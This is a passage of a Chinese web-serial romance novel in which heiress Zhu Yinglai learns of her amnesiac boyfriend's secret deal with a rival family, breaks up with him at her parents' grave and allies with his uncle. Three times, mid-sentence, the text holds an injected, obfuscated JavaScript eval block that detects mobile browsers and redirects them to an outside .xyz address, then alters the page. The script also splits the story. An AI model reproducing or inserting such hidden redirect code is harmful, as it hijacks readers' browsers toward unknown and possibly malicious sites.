蔡蔡表情那叫一个精彩:“这可是违约啊!何况您跟霍公子……” 蔡蔡识趣地没把话说到头。 祝莺来提都不想再提霍延这个名字:“恒锐现在的一线客户都是我们集团引荐的,你马上去探探他们口风,看恒锐有没有通知他们这个月交付期推迟。” “好的,祝总。”蔡蔡不敢耽误,赶紧离开办公室办事去了。 快下班的时候,蔡蔡给了祝莺来回复。 恒锐所有的一线客户都收到了这个月交付期推迟的通知,因为推迟造成的损失,恒锐会按照合同细则对他们进行赔付。 算上集团这边的材料囤积费,祝莺来在脑子里大概给恒锐算了一笔账,他们这个月少说要亏几百万。 恒锐的现金流一直不算充裕,这个月亏这么多,现金流肯定变得很紧张,搞不好还会影响银行下季度对公司的贷款审批。 利弊得失如此明显,恒锐还是选了弊端更多的一边,这根本不符合常理,可是明面上又查不到恒锐找到新供应商的证据。 祝莺来一时之间没了头绪,准备回家问问老爷子,他阅历深人脉广,兴许有不同的见解。 回家的车上,祝莺来接连收到好几条微信。 发消息给她的还是逢年过节群发祝福都不会勾选的霍斯也。 测谎的事情早就结束了,祝莺来想不到霍斯也还会因为什么联系她……哦不,还真有。 裤子。 这半个月不在北京,又因为霍延烦心,赔霍斯也裤子的事情早被她抛诸脑后了。 虽然霍斯也自己也没提,但是想一想还是怪不好意思的。 祝莺来已经做好了被债主要债的觉悟,结果消息一点开,全是跟裤子不沾边的内容。 [公主下班了吗?] [我这边有个跟恒锐有关的消息,你应该会感兴趣] [看到消息回我电话] 祝莺来正要回复,霍斯也的备注跳成“对方正在输入”的状态。 她索性等他发完一起回。 [对了] [不知道有生之年有没有机会穿上公主赔我的裤子] [我就催催,没有问的意思] 祝莺来:“……” 也不是完全不沾边。 11. 第 11 章 霍斯也没有再发新的消息过来。 他是懂钓鱼的,下鱼钩都这么有针对性。 眼下这个节骨眼,她确实没办法对跟恒锐沾边的一切say no,哪怕霍斯也别有目的,暗中给她挖了坑,她也要跳进去看一看。 祝莺来给霍斯也拨了一通语音电话,响了没两声那边就接了。 “看来我消息发得正是时候,碰巧赶上你看手机。” 懒懒散散的京片子从电话那头传来,嗓音都酥耳朵。 印象里,这好像是她第一次跟霍斯也通电话。 祝莺来先说裤子的事情:“我过两天回北京,你有时间的话,我们去把裤子挑了。” 霍斯也“嗯”了一声,挺大度:“没关系,我不着急。” “……” 你要不要再去看看自己发的消息呢。 祝莺来理亏,没明着拆穿他,配合了一把:“是我着急,一直欠着你一条裤子,我茶饭不思寝食难安。” 霍斯也竟然还接茬儿:“那岂不是瘦了。” 祝莺来没有配合的兴致了:“场面话就不用较真了。” 霍斯也轻呵:“真能敷衍人啊公主。” 耍嘴皮子没人是霍斯也的对手,祝莺来才不跟他比这个。 她直奔主题,问:“跟恒锐有关的消息是什么?” 霍斯也没卖关子:“南非的开普能源,知道吗?” 开普能源是南非一家从事煤业的中小型公司。 这样的公司在南非遍地都是,祝莺来之所以有印象,是因为开普有同规模公司都没有的一个特质——他们公司名下的矿场都产石墨。 虽然开普能源不像他们家在纳塔拉亚那样垄断了本国的石墨矿,但在南非也算石墨矿大户。 “知道。” 祝莺来在听到开普能源这个名字的时候,想到了下午看过的那张延迟发货单。 以高纯度单晶石墨烯生产线为主营业务的恒锐创材。 作为南非石墨矿大户的开普能源。 不合常理的仓库清点,推迟一整月的发货时间,几百万的亏空,订婚戒指…… 截至目前,祝莺来接收的碎片信息在此刻完成了闭环。 “张家给霍延家牵线搭桥,开普现在已经是恒锐新的石墨矿供应商了。” 祝莺来反问霍斯也:“小叔要告诉我的消息是这个吗?” 霍斯也停顿片刻,轻笑感叹:“你掌握的情报比我想象中多。” “嗯,可能是老天爷眷顾,不忍心让我做个蒙鼓人。”说到这,祝莺来话锋一转,“小叔跟我共享情报又是为了什么?” “我不能也是眷顾你吗?”霍斯也尾音似有若无的上扬。 祝莺来淡淡地扯了扯唇角,缓缓开口:“所有命运赠送的……” “好了,停。”霍斯也打断她。 顿了顿,霍斯也重新开口:“张家不可能平白无故对霍延家施以援手。除了生意上的暗中勾结,我雇的私家侦探今天还拍到霍延和张思映在珠宝店挑订婚戒指。” 再听一遍,祝莺来还是无法做到平心静气。 她声音听起来钝和闷:“……这个我已经知道了。” “那你有什么打算?” 霍斯也点明重点:“你现在面临感情和生意上的双重背叛,是继续宽容霍延的失忆,还是跟他一刀了断展开反击,做好选择了吗?” 祝莺来没回答,而是反过来问他:“从霍延失忆后,小叔好像就格外关注我和他的后续,是我的错觉吗?” 霍斯也答得爽快:“不是。” 祝莺来问得更直接:“为什么?” 车驶入隧道,夕阳染红的天空被快速切断,车内陷入昏暗,只有仪表盘亮着幽蓝色的光。 隧道内的白织灯在祝莺来脸上掠过明暗交错的条纹光斑。 “因为这对我来说很重要。” 隧道里信号变差,霍斯也的声音裹挟着电流杂音,像是从冰镇汽水罐口溢出的气泡,带着凉意撞上祝莺来的耳膜。 祝莺来晃了片刻的神。 有个模糊的念头从脑中闪过,没等她看清具体是什么,念头就消失得无影无踪。 “什么意思?”祝莺来怔怔地问。 霍斯也:“祝莺来,我们之间没有过冲突和矛盾,对吗?” “是。” “我们之所以敌对,是因为你和霍延同仇敌忾。” “嗯。” “如果反过来呢?”霍斯也的嗓音透着蛊惑的气息,悄无声息引诱她的思维,“敌人的敌人就是朋友。” “霍延选了张家这把最膈应你的刀对付你,你难道不能以牙还牙吗?” 霍斯也就差没有报上自己的身份证号了。 祝莺来稳住心神:“小叔是在撺掇我利用你?” 语气颇有一种你疯了还是喝大了的荒谬感。 可是霍斯也声音清润,没有一丝一毫说笑的成分,利落地给了她一个字:“是。” 车开出隧道,夕阳余晖透过玻璃窗照进来。 前几秒被霍斯也埋下的种子被这束光照得破土而出。 张家之于她,霍斯也之于霍延,都是今生无法和解的死敌。 如果要以牙还牙,确实没有比霍斯也最合适的人选。 而且霍斯也的撺掇也来得太是时候。 这跟高温天往她这堆干柴抛火星子有什么区别,当然会一点即燃。 祝莺来陷入思量,好一会儿没说话。 霍斯也由着她斟酌犹豫,不催促,也不挂电话。 “其实也不全是我利用你,说互相利用更正确吧,小叔。” 祝莺来语速不快不慢:“可是霍延现在把我忘了,就算我跟你联手对付他,他也不会有被背刺的感觉。” 霍斯也发出赞同的声音:“确实。” “所以你是吃亏的。” “我也没得选啊。” 霍斯也似笑非笑:“以前我倒是想让你背刺霍延,那时候我就不亏,但我有机会吗?” 祝莺来词穷了。 霍斯也点到为止:“事儿和话我都跟你说明白了,要不要用我这把刀,看你。” 话音落,霍斯也挂断了电话。 回到家,祝莺来没看见祝烈义,一问保姆,老爷子下午去泽阿公家里下棋了,现在还没回。 俩老头儿都是棋痴,对弈经常收不住手,祝莺来估摸祝烈义今晚都得住泽阿公家了。 去年她研究生毕业进入集团工作后,祝烈义就进入半退休的状态了,没大事不出山,集团事务全权交给她处理。 祝莺来原本一脑子烦心事要回家跟祝烈义商量,回家扑了个空,反而把她对祝烈义的依赖心理赶跑了一大半。 她在长大,姥爷在变老,该是她独当一面的时候了。 吃饭之前,祝莺来先回卧室泡了个澡,手机放在外面充电。 泡完澡出来,一看手机,未接来电13个,全是霍延。 祝莺来正愁一巴掌扇不到北京,他居然主动凑上来了。 没等祝莺来回拨,霍延的第14通电话又打了过来。 接通的一瞬间,电话那头传来霍延怒火中烧的声音:“原来你能听见手机铃声啊,还以为你耳聋了。” “祝莺来你到底有完没完,公报私仇是吗?材料囤积费是怎么回事!” 祝莺来冷笑道:“你失个忆还变成文盲了,白纸黑字的催收文件都不认识。” “谁不认识字了,我是问你这笔费用是怎么回事,以前从来没有过。” “推迟发货就会产生这笔费用,合同细则写得很清楚。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598369|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “少冠冕堂皇扯这些,你不就是针对我吗?私人恩怨扯到工作上,祝家的家业没被你败光真是奇迹。” 本来换了供应商公司的现金流就变得无比紧张,霍延最近天天为钱的事情焦头烂额,下午又收到一笔几十万的催收文件。 一看源头,又是祝家! 祝家祝家,没完没了阴魂不散的祝家! 祝莺来没接霍延的垃圾话,只是问他:“你现在照镜子有没有觉得自己面目可憎?” “我难道是你的人品保障?单单忘记我就能让你变成一个烂人。” “我面目可憎?你又是什么好东西。”霍延好笑地说,“你就是这么喜欢我的?你到底是喜欢我,还是喜欢给我添堵!” “用这种下作的手段公报私仇,我以前真的是眼瞎心盲,围着你这么个人当舔狗,祝莺来,你身上哪里值得我喜欢?” “巧了,我也想说这句话。” 祝莺来一字一顿地问回去:“霍延,你身上又有哪里值得我喜欢?” “你这么急赤白脸来骂我,我没猜错的话,贵公司账上已经没有支付囤积费的资金了吧。” 霍延硬着头皮反驳:“区区几十万算什么,我只是不爽你的所作所为。” 祝莺来懒得跟他争:“行,不算什么就按合同付钱,不付就打官司,反正大家都不差钱,看谁耗死谁。” 霍延破防:“祝莺来!” 祝莺来轻嗤道:“霍大少爷,求人就要有求人的姿态。” 霍延气得咬牙切齿。 许久才憋出一句:“说吧,你到底想怎么样。” 祝莺来不满意:“这可不是求人的话。” 霍延沉默了片刻,每个字硬生生从嗓子眼里挤出来:“祝总,请你高抬贵手放我们家一条生路。” 祝莺来扯了扯唇,讽道:“这才对嘛,早该这样说人话,否则我怎么听得懂你在狗叫什么。” 霍延气极:“你——” “明天见面聊,地址我一会儿发你。” 祝莺来眼神冰冷决绝:“看你敢不敢来。” 霍延一脸不屑:“有什么不敢的,吓唬谁——” 话没说完祝莺来就把电话挂了。 霍延捏着手机低骂了一声操。 樊蕾在客厅等,看霍延打完了电话,赶紧走过来问:“祝莺来怎么说?材料囤积费还收吗?她是不是发现我们跟张家……” 霍延烦躁地打断:“你问一堆到底要我回答哪一个?” 樊蕾讪讪:“妈不是着急嘛,你快说,到底怎么样了?” 霍延脸色臭得很:“没表态,就约我明天见面。” 樊蕾一听就笑了:“看吧,我就说她耍大小姐脾气,不是真的要管咱们要钱,她跟你二十多年的情分,哪能因为这点事就断了。” 还好言好语劝霍延:“儿子,再忍忍,等我们跟开普的业务走上正轨就不用再看祝家的脸色了。” “好在祝家现在什么都不知道,每天你哄一哄祝莺来就行,对她态度好点儿,先把囤积费的事情摆平。” 一想到刚才祝莺来在电话里趾高气昂羞辱他的话,霍延眼底就涌起一股恨意。 偏偏他还要对这样的人逢迎讨好,这跟酒吧的鸭子有什么区别? “阿延,你有没有在听我说话?” 霍延不耐烦地推开樊蕾,没好气道:“行了,你是我妈,不是老鸨,不用一直教我怎么卖笑接客。” 樊蕾被霍延刺耳的话扎了心,她委屈地说:“你怎么能这么跟妈妈说话?我还不是都是为了咱们家的生意……” 叮。 霍延的手机响了一声新短信提示音。 他点开一看,是祝莺来发过来的见面时间和地点。 视线落在地址上的一瞬间,霍延脸色忽变。 12. 第 12 章 次日上午,祝莺来提前了十分钟到达跟霍延约好的见面地点。 雅瓦纳这半个月都是大晴天,昨晚一场夜雨下到现在都没停。 阴雨绵绵,乌云压得极低。 路面倒映着浑浊天光,空气凝成沉甸甸的铅块,压得人胸腔发闷。 车只能开到山脚,上山的路需要步行。 司机停好车,蔡蔡撑着长柄黑伞先下车,快步走到后座,为祝莺来打开车门,同时,伞面往她头顶倾斜,挡掉落下的雨水。 祝莺来今天穿了一条黑裙,长发松散的挽在脑后。 一枚做工精巧的黄莺铂金胸针别在她的胸前,挨着心脏的位置。 胸针色泽纯净,哪怕在阴雨天也闪着微光。 祝莺来下车后,弯腰把放在车里的洋桔梗花束抱出来。 洋桔梗是早上她亲自在后花园摘的,花枝葳蕤,花瓣上还有清晨的露珠,香气淡雅宜人。 “走吧。”祝莺来对蔡蔡说,嗓音略显沉闷。 蔡蔡点了点头,撑着伞跟在祝莺来身边,两个人沉默地往半山腰走去。 抬眸往上看,半山腰的墓碑群模糊成深浅不一的灰斑,像被雨水洇开的墨点,零星散落在雾霭氤氲的植被间。 从山脚步行十来分钟就到了祝莺来父母的墓前。 墓碑被雨水冲刷得很干净。 祝莺来弯腰放下花束,接过蔡蔡递过来的伞,打开撑在花束旁边,为它遮风挡雨。 “妈妈,你种的洋桔梗今年也开得很好,现在都是姥爷在照料那片花圃,花开得好,他老有成就感了。” 祝莺来从包里拿出手帕,蹲下来,慢慢擦掉墓碑照片上的水珠。 一边擦,一边跟照片上的人说话:“花艺师说我的插花水平有所精进,今天这束花我加了白玫瑰和尤加利叶,妈妈你喜欢吗?” “爸爸你好久没来梦里看我了,最近在忙什么?” “上次妈妈在梦里说你又给她雕了新的胸针,有空带到梦里给我看看呗。” “你们两个在那边幸福也不可以忘了我,我不允许。” 父母走得突然,墓碑上照片是两人当年的结婚照。 照片上的水珠被擦干,祝莺来失神地轻抚照片,忍不住喃喃自语:“你们在那边会变老还是青春永驻啊?” “应该是青春永驻吧,每次在梦里见面你们都没老。” “不过话说回来我也不知道你们老了什么样子,春节去嘉宝家里拜年,看见她父母脸上多了两道皱纹,我总忍不住类比你们……哈哈哈哈妈妈你绝对被我这话搞焦虑了,毕竟你最臭美了嘛。” …… 蔡蔡站在旁边为祝莺来撑着伞,没听几句就偏头揉了揉眼睛。 过了一会儿,司机带着霍延走进了蔡蔡的视野范围。 她吸吸鼻子,弯腰提醒祝莺来:“祝总,霍公子到了。” 祝莺来闷闷地“嗯”了一声,蹲在墓碑前缓了缓,深呼一口气,站了起来。 蔡蔡留意到她脸上已经没了情绪,悲喜皆无,平静得如一潭死水。 蔡蔡莫名感觉心被揪紧,轻声关心:“祝总您还好吗?” “我没事。”祝莺来抬起手伸到伞外,“蔡蔡你看,雨停了。” 蔡蔡微怔。 她倾斜伞面抬头看去,何止雨停了,天都开始放晴了。 祝莺来偏头看了眼身后的墓碑,很轻地笑了笑。 “伞收起来吧,我不需要了。” 蔡蔡:“好。” 霍延被祝莺来的司机带到她父母的墓碑前。 司机和蔡蔡颇有眼力见地退到一边,留给两人单独说话的空间。 “谈工作哪里不能谈,非要来这里,你父母还缺人给他们扫墓不成。” 霍延蹬了蹬高定皮鞋上的泥土,不耐烦的神色又添了几分嫌弃:“下雨天还走山路,看给我弄一脚的泥,我这鞋昨天刚收到的。” 祝莺来没接他的话,突然问起:“你这个月复查了吗?” 最近两次接触都是不欢而散,忽然被祝莺来关心,霍延居然有些受宠若惊。 但是下一秒,他又为自己这种反应感到不爽。 关心你一下就受宠若惊,忘了她之前都怎么羞辱你的了?没出息的东西。 霍延心情复杂,硬邦邦地回了句:“查了,怎么了?” “脑ct照了吗?” “照了。” “结果怎么样?” “一切正常。” “再照照吧,检查结果有问题。” 霍延莫名其妙地看着她:“什么问题?” “测谎那天我姥爷在你家说过,我们两家之间没有公事,半个月的时间你就忘了,你觉得自己脑子真的一切正常?” “我什么时候说我忘了?”一提这件事霍延就火大,更顾不上哄祝莺高兴了,“怎么着,你们爷孙俩还想上我家耍威风啊。” “既然你没忘,怎么会觉得我今天约你见面是谈工作?” 祝莺来直入主题:“我们两家所谓的商业合作,难道不是我家对你家的单向扶贫?这一切还都建立在我和你青梅竹马的情分上。” “现在你家都找到开普这个新供应商了,你也要跟张思映订婚,我这个被你忘干净的女朋友还要贴补你们两家不成?钱多我家会去做慈善,而不是犯贱当冤种。” 霍延愣在原地,脑子空白了好几秒。 他正要开口说点什么,被祝莺来抢了先,话题也换了:“你知道这个墓园都是什么人的埋骨之所吗?” 霍延顿了顿才开口:“来之前听我父母说了。” “你们家给一部分4.23矿难的遇难者无偿处理了后事,那些遇难者的墓也在这里。” 祝莺来眼神很冷:“你父母跟你说的不止这些吧。” 霍延听出祝莺来想说什么,干脆点破:“就算事故是因为张思映舅舅工作失误,他也被判刑坐牢了,受到了法律的制裁。” “今年眼看要出狱,又检查出癌症晚期,保外就医流程没走完人就没了,所谓的报应也不过如此吧,我真搞不懂你,现在还揪着陈年旧事不放,也不嫌累。” 霍延说的每个字都像一把刀,刺向她心里最深的一道伤口。 祝莺来死死瞪着他,声声泣血:“霍延你有什么资格在我面前慨他人之慷,敢情死的不是你爸妈!” 张家的泰禾资源跟他们家的玄石矿业一样,都是纳塔拉亚有名的煤业集团。 他们两家的关系在矿难之前非常融洽。 她妈妈和张思映的妈妈是手帕交,这份友情自然而然延续到她和张思映这里。 4.23矿难发生的矿场,地皮和山头本来都是他们家的。 后来两家进行合作项目,她家出地皮和山头,张家负责矿场建设和运营。 其中负责矿井设计的总工程师就是张思映的舅舅,秦咏志。 矿难发生那天,原本要下矿视察接受媒体采访的是张思映的父母。 因为张思映的奶奶突发脑梗送医院抢救,张思映的父母才请她父母代劳。 这一次下矿,她的父母、媒体记者以及在矿井进行地下作业的矿工们,共计127人,再也没回到地面。 矿难发生的原因非常荒谬——竟是矿井设计方案存在的一个数据计算错误。 秦咏志作为总工程师难辞其咎,很快被相关部门带走调查。 紧接着就是长达一年的打官司。 张家请律师为秦咏志辩护,同时卑躬屈膝给遇难旷工的家属道歉,赔给他们高额补偿金,私下和解了一个又一个。 他们家也被张家这么道歉过,来一次姥爷让他们滚一次。 张家见老爷子是攻不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598370|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破的城墙,又把主意打到了她这里——让张思映来求她原谅。 嘴上求了好多次都没用,张思映不仅没放弃,还在一次课间休息的时候把她约到天台,哭着跪在了她面前。 当时张思映求她的话,直到现在都记忆犹新。 “就算判我舅舅无期,去世的人也回不来了,这场意外也不是他有意为之,谁都不想发生这样的事情。” “鸟鸟,我们不是最好的朋友吗?我舅舅小时候总带我们去海钓,他也很疼你的,我就这一个舅舅,我舅妈才怀孕三个月,他要是判个十年十五年这辈子就全完了……” 她根本没办法继续听下去,血气上涌,整个人气得直发抖,当场甩了张思映两巴掌。 “你舅舅判个刑这辈子就全完了,那我爸妈呢?其他125个人呢?他们不是完了,是死了,死了你懂吗?我再也没有爸妈了,永远都没有了!不是只有你们家的才有血肉至亲!” “还判无期?判死期你舅舅都得判127次才能抵完他们的命!” 她和张思映就此决裂。 张家这番操作,最终把秦咏志的刑期减到了七年。 127条活生生的人命就得到这么一个“公正”的结果。 有过半的遇难者家属因为高额补偿金选择和解。 剩下的一小半跟他们家一样追责到底,年年申诉,直到今年秦咏志因病死在牢里。 也是这小半的遇难者跟她父母一起长眠于此。 霍延被祝莺来一句话骂得词穷。 祝莺来压了压情绪,一个字都不想再跟霍延多聊,只问重点:“霍延,你在了解我和张家的仇怨之后,依然选择张思映是不是?” 霍延不满她这种质问犯人的语气:“还不是都是被你们逼的,你们给过我们家尊重吗?” “给你们资源和好处的时候,怎么没见你们问这么一嘴?” 祝莺来冷笑了一声:“我还是那句话,霍延,就算我对你来说是个陌生人,你也没道理对我抱有这么大的恶意,你欺人太甚,我凭什么一声不吭?” “说这么多,你不就是还希望我像一样围着你转吗?一不如你意,你就在生意上制裁我们家,祝莺来你哪里是在跟我谈恋爱,明明是在拿我当狗训。” 霍延一脸嘲弄地感叹:“张家就不像你们家这样,张思映对我的喜欢我也能感受到,你心里永远只有你自己。” 祝莺来想起她跟霍延刚确定恋爱关系的第一个月,他们一起来这里给她父母扫墓。 霍延握着她的手,郑重其事在她父母墓前承诺会照顾她、疼她爱她一辈子。 那时在这里给她真心的人,现在又在这里亲手把真心摔了个稀巴烂。 眼看六年多的点点滴滴都成了一场笑话,祝莺来的心彻底冷透了。 “我们分手吧,霍延。” 这句话落到霍延的耳朵里,不止脑袋,连同心脏都瞬间爆发剧烈的疼痛。 他捂着心口,背脊弯曲,眉心紧拧,沉默片刻才勉强发出声音,语气有种不自知的恐慌:“……你说什么?” “分手。” 祝莺来面无表情看着霍延痛苦,公事公办地说:“不止材料囤积费,贵司违约的事情,我司也会依法追究。” 停顿片刻,祝莺来眼底掠过恨意。 这一抹恨意单单从霍延身上经过,不知道为什么,他就感觉被生生剥走了一层皮。 “霍延,再见面你也是我的仇人。” 说完这句话,祝莺来头也不回地离开了。 不远处的司机和蔡蔡快步追了上去,无人在意霍延的死活。 祝莺来一边往山脚走,一边拨通了霍斯也的电话。 响了两声,电话被接起。 祝莺来没有任何犹豫,开口即表态:“小叔,我想好了。” “你这把刀,我用。” 13.第 13 章 霍斯也过了几秒才开口,颇感意外的语气:“这么快就想好了。” “刚跟霍延吵了架?”这句试探倒是有两分笃定。 “没吵架。”祝莺来声音冷得没温度,“分手了。” 霍斯也这次沉默的时间更久,久到祝莺来以为自己这边突然没信号了。 她把手机拿到眼前看了看,信号满格。 “小叔?”祝莺来奇怪地问,“你能听见我说话吗?喂?” “能听见。”不知道是什么原因,霍斯也嗓音听起来有些低闷。 “那你一直不讲话。”祝莺来转而想到,“你是不是在忙?等你忙完我们再……” 没等祝莺来说完,霍斯也忽然问:“是哪种分手?” 祝莺来被他问得一懵:“什么哪种分手?就分了呗。” “有吵完架气头上的分手,消气又复合了。也有经过深思熟虑的分手,这辈子都不可能吃回头草。” “祝莺来,你跟霍延是哪种?” 难得听霍斯也用这么认真的语气说话,祝莺来还不习惯。 他们两个一旦合谋,直接跟双方的利益挂钩,霍斯也现在确认她的态度和决心也在情理之中。 祝莺来回答得同样认真:“后者。” “我刚被重要的人背刺,我知道这种感觉多难受,也痛恨这种行为,小叔,你可以相信我,我不会变成自己讨厌的样子。” 讲归讲,但祝莺来深知光凭一张嘴说服力有限,紧接着补充道:“相关细则我们可以落实到合同上。” 话音落,祝莺来就听见霍斯也笑了。 声音透着愉悦:“不用,我相信你。” 霍延这个本该相信她的人,现在对她没有半点信任可言。 反观霍斯也,这个理所当然质疑她决心的人,单凭她的一两句话就说相信她。 人和人之间的关系跟真心一样瞬息万变。 被人相信的感觉并不赖,哪怕对方是风评堪忧的霍斯也。 祝莺来多多少少有被霍斯也愉悦的情绪感染,心里轻快了一点。 “好,谢谢小叔。” 霍斯也彬彬有礼地回应:“不客气,身为你的合作伙伴,这都是我应该做的。” 祝莺来愣了几秒,比起霍斯也的信任,他这样说话令她更不习惯。 “怎么回事,你素质一高就像个人机。”不难听出这是吐槽。 霍斯也:“……” 懒得装了。 他改口重新讲,一贯的混不吝口吻:“公主说谢谢之前先把裤子赔给我。” 祝莺来“嗯”了一声:“舒服了,有活人味了。” 霍斯也轻笑:“其实你挺喜欢我叫你公主的吧,瞧你这口不对心的样子。” 这一口锅甩过来,祝莺来可不背:“谁口不对心了,我不喜欢。” “行。”霍斯也不跟她争,“你不喜欢我喜欢。” 祝莺来气笑:“有你这么跟合作伙伴对着干的吗?” “那我干点合作伙伴该干的?” “比如?” “比如我已经拿到了恒锐和开普合作后第一批抵京的石墨原料样本。” 听到这里,祝莺来停下了脚步,难以置信地反问:“不可能吧?真的假的?!” “不相信我?”霍斯也有意放慢语速,“疑似达成合作后公主给我的一记重击,哎,我本将心向明月,奈何明月照沟渠……” “师父别念了。” 祝莺来打断他,也继续往前走:“样本你怎么拿到的?那些都是恒锐的私有物料。” 霍斯也给祝莺来报了一个国际货运航空公司的名字。 “这公司被我收购了,从货运公司接手开普这批原料起,各个环节都是我安排的人。” 霍斯也看了眼挂钟:“再有十来分钟,这批原料应该就到恒锐的仓库了。” 恒锐的私有物料,货还在路上,恒锐自己都还没过目,霍斯也就已经拿到了同批次样本。 祝莺来不禁佩服霍斯也的手段,同时也隐隐庆幸,这样的人现在是盟友,而不再是敌人。 之后,她脑筋一转,想到另外一个关键点:“收购的事情恒锐和开普没接到风声?不应该啊。” “你是昨天之前就知道恒锐暗中找供应商的事情了吗?效率再快也不可能一天之内完成收购,除非你提前布局。” 霍斯也能全面接管一家上市的货运公司,一定不是少数股权收购,而是控股权收购或者全资收购。 这种大规模交易都要遵循信息披露原则,收购成功的公告一出,业内自然知道公司老板已经换了人。 霍斯也解释:“不是以我名义收购的,公开信息查不到我。” “至于提前布局,说是也是,说不是也不是。” 祝莺来听得皱眉:“别卖关子。” “我爸这两年一直有涉足货运行业的打算,收购这家公司就是入行的第一步,这件事是我在负责。” 说到这,霍斯也耐人寻味地笑了笑:“谁想到收购敲定前私人侦探给我挖到了恒锐的猛料,成就了现在两全其美的好事。” “为了避免打草惊蛇,我让安排一家私募基金走的合同。” 祝莺来听完了然道:“肯定不是塔辰资本。” 霍斯也坦荡承认:“当然,既然要避免打草惊蛇,怎么会让我‘亲儿子’出面。” 霍斯也口中的“亲儿子”——塔辰资本是他在哈佛读研期间创办的pe公司,也是他倾注最多心血的私人产业,独立于霍氏集团之外。 不到五年的时间,在霍斯也的带领下,塔辰资本经手了波兰焦煤的智能化改造、顿巴斯矿区的债务重组等多个重大项目,以“矿脉级的精准投资”闻名业界。 去年霍斯也登上《巴伦周刊》封面,被媒体称为“矿业能源最年轻的黄金操盘手”时,他刚刚完成了对捷克最大褐煤企业的反向收购。 “所以出面的是‘私生子’?”祝莺来顺着他的话随口一问。 霍斯也语气玩味:“我都搞暗恋了还能有这玩意儿吗。” “……” 祝莺来无语地嘀咕:“你明知道我说的不是那种私生子。” “哪种私生子都不行。” 祝莺来本来不知道霍斯也突然在较什么真,直到听见他的下一句:“万一我心上人听了误会我乱搞男女关系怎么办,不知道男德是男人最好的嫁妆吗。” “……” 服了,真的。 “知道了,纯爱战士,再也不玷污您冰清玉洁的名声了。” 霍斯也“嗯”了一声:“谢谢公主,我能不能抱得美人归全靠你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601878|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可别,我这小身板扛不住这么重的责任。”祝莺来敷衍地鼓励,“您自个儿加油吧,祝你好运,早点带着您的男德嫁给心上人。” 这种敷衍人的话居然都把霍斯也取悦了,还一副赖上她的语气:“好,这可是你说的,别不认账。” 祝莺来毫不走心:“认认认,等你美梦成真,办婚礼那天我给你包个大红包,行了吧。” 霍斯也煞有其事:“那不用,你人来就行。” 听到这,祝莺来忍不住提醒霍斯也:“小叔你是不是暗恋魔怔了,八字没一撇的事情,越说越真了还。” 霍斯也尾音上挑:“没一撇吗?我感觉两撇都有了。” “……行。” 人活着确实需要一些盼头,何况是霍斯也这种一直搞暗恋的。 霍斯也没在闲话上说个没完,拉回正题:“样本我已经让人送实验室检测了,下午出结果。” “空运没有你家特种运输船队的恒温恒湿技术,纯度肯定会受影响。” 祝莺来轻呵:“不止纯度,还有成本。” 空运比海运贵是一个客观因素,还有更重要的原因——他们家从前给恒锐发货,运输费只是意思意思,没有一次是按实际费用来收的。 像这样掏自己兜贴补恒锐的事情,这些年他们家不知道做了多少。 她刚才在父母的墓前跟霍延发生争吵,说这些年两家的合作都是他们家的单向扶贫,话虽然不好听,却没有任何夸大的成分。 只不过从前碍于她和霍延的情分和关系,自家这些让利和损失,她和姥爷都没放在心上。 护短和偏心是刻在他们家每个人骨子里的东西。 “下午出结果了跟我说一声。”停顿片刻,祝莺来补了句,“这批货恒锐都供给了哪些客户,你查到名单了吗?” “查到了,一会儿发给你。” “谢谢。” 霍斯也意味不明地调侃祝莺来:“看来祝总的如意算盘已经敲起来了。” 祝莺来未置可否:“霍总敲得比我早还比我响,你就不要五十步笑百步了。” 当天下午,祝莺来从霍斯也那里知道了检测结果。 结果跟他们预计的一样,纯度下降了0.009%。 根据加工材料类型的不同,石墨纯度波动在一个行业里有合理范围标准,超出这个范围,轻则引发客户质疑,重则构成商业欺诈。 恒锐做的是高纯度单晶石墨烯生产线,这种材料类型的合理波动范围是±0.005%。 这一批由开普供货走空运的石墨纯度显然不合格。 蔡蔡看完报告,忍不住猜测:“祝总,恒锐现在现金流短缺,他们不会对客户瞒报吧……” “说不好。”祝莺来淡声应了应,看着车窗外的霓虹街景,不怎么想说话的样子。 蔡蔡识趣地不再开口,专心开车。 车经过两个红绿灯路口,后排的祝莺来突然吩咐蔡蔡:“掉头,先不回家了。” 蔡蔡放慢车速,问:“要回公司吗?” “不。”祝莺来报出一个地名,“去金雀庭。” 蔡蔡听得一愣。 金雀庭——雅瓦纳规模最大的合法赌场,是祝家名下最赚钱的娱乐产业。 也是祝烈义唯一没给祝莺来接手的生意。